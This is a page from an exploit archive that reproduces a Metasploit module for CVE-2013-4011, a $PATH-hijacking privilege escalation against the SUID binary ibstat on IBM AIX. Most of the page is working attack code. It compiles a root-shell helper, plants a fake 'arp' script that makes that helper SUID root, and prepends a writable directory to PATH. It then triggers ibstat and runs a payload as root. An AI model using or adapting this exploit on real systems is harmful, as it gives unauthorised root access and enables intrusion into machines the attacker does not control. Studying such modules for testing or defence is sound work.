what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ibstat $PATH Privilege Escalation

ibstat $PATH Privilege Escalation
Posted Apr 3, 2014
Authored by Kristian Hermansen, Kostas Lintovois, Sagi Shahar | Site metasploit.com

This Metasploit module exploits the trusted $PATH environment variable of the SUID binary "ibstat".

tags | exploit
advisories | CVE-2013-4011, OSVDB-95420
SHA-256 | 51da38d4ecfc882e0f9edee386884cfd71707197a3535e673abb6fa3c9ec49db

ibstat $PATH Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class Metasploit4 < Msf::Exploit::Local

Rank = ExcellentRanking

include Msf::Post::File
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
"Name" => "ibstat $PATH Privilege Escalation",
"Description" => %q{
This module exploits the trusted $PATH environment variable of the SUID binary "ibstat".
},
"Author" => [
"Kristian Erik Hermansen", #original author
"Sagi Shahar <sagi.shahar[at]mwrinfosecurity.com>", #Metasploit module
"Kostas Lintovois <kostas.lintovois[at]mwrinfosecurity.com>" #Metasploit module
],
"References" => [
["CVE", "2013-4011"],
["OSVDB", "95420"],
["BID", "61287"],
["URL", "http://www-01.ibm.com/support/docview.wss?uid=isg1IV43827"],
["URL", "http://www-01.ibm.com/support/docview.wss?uid=isg1IV43756"]
],
"Platform" => ["unix"],
"Arch" => ARCH_CMD,
"Payload" => {
"Compat" => {
"PayloadType" => "cmd",
"RequiredCmd" => "perl"
}
},
"Targets" => [
["IBM AIX Version 6.1", {}],
["IBM AIX Version 7.1", {}]
],
"DefaultTarget" => 1,
"DisclosureDate" => "Sep 24 2013"
))

register_options([
OptString.new("WritableDir", [true, "A directory where we can write files", "/tmp"])
], self.class)
end

def check
find_output = cmd_exec("find /usr/sbin/ -name ibstat -perm -u=s -user root 2>/dev/null")

if find_output.include?("ibstat")
return Exploit::CheckCode::Vulnerable
end

Exploit::CheckCode::Safe
end

def exploit
if check == Exploit::CheckCode::Safe
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
else
print_good("Target is vulnerable.")
end

root_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(8)}"
arp_file = "#{datastore["WritableDir"]}/arp"
c_file = %Q^#include <stdio.h>

int main()
{
setreuid(0,0);
setregid(0,0);
execve("/bin/sh",NULL,NULL);
return 0;
}
^
arp = %Q^#!/bin/sh

chown root #{root_file}
chmod 4555 #{root_file}
^

if gcc_installed?
print_status("Dropping file #{root_file}.c...")
write_file("#{root_file}.c", c_file)

print_status("Compiling source...")
cmd_exec("gcc -o #{root_file} #{root_file}.c")
print_status("Compilation completed")

register_file_for_cleanup("#{root_file}.c")
else
cmd_exec("cp /bin/sh #{root_file}")
end

register_file_for_cleanup(root_file)

print_status("Writing custom arp file...")
write_file(arp_file,arp)
register_file_for_cleanup(arp_file)
cmd_exec("chmod 0555 #{arp_file}")
print_status("Custom arp file written")

print_status("Updating $PATH environment variable...")
path_env = cmd_exec("echo $PATH")
cmd_exec("PATH=#{datastore["WritableDir"]}:$PATH")
cmd_exec("export PATH")

print_status("Triggering vulnerablity...")
cmd_exec("/usr/bin/ibstat -a -i en0 2>/dev/null >/dev/null")

# The $PATH variable must be restored before the payload is executed
# in cases where an euid root shell was gained
print_status("Restoring $PATH environment variable...")
cmd_exec("PATH=#{path_env}")
cmd_exec("export PATH")

cmd_exec(root_file)
print_status("Checking root privileges...")

if is_root?
print_status("Executing payload...")
cmd_exec(payload.encoded)
end
end

def gcc_installed?
print_status("Checking if gcc exists...")
gcc_whereis_output = cmd_exec("whereis -b gcc")

if gcc_whereis_output.include?("/")
print_good("gcc found!")
return true
end

print_status("gcc not found. Using /bin/sh from local system")
false
end

def is_root?
id_output = cmd_exec("id")

if id_output.include?("euid=0(root)")
print_good("Got root! (euid)")
return true
end
if id_output.include?("uid=0(root)")
print_good("Got root!")
return true
end

print_status("Exploit failed")
false
end

end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close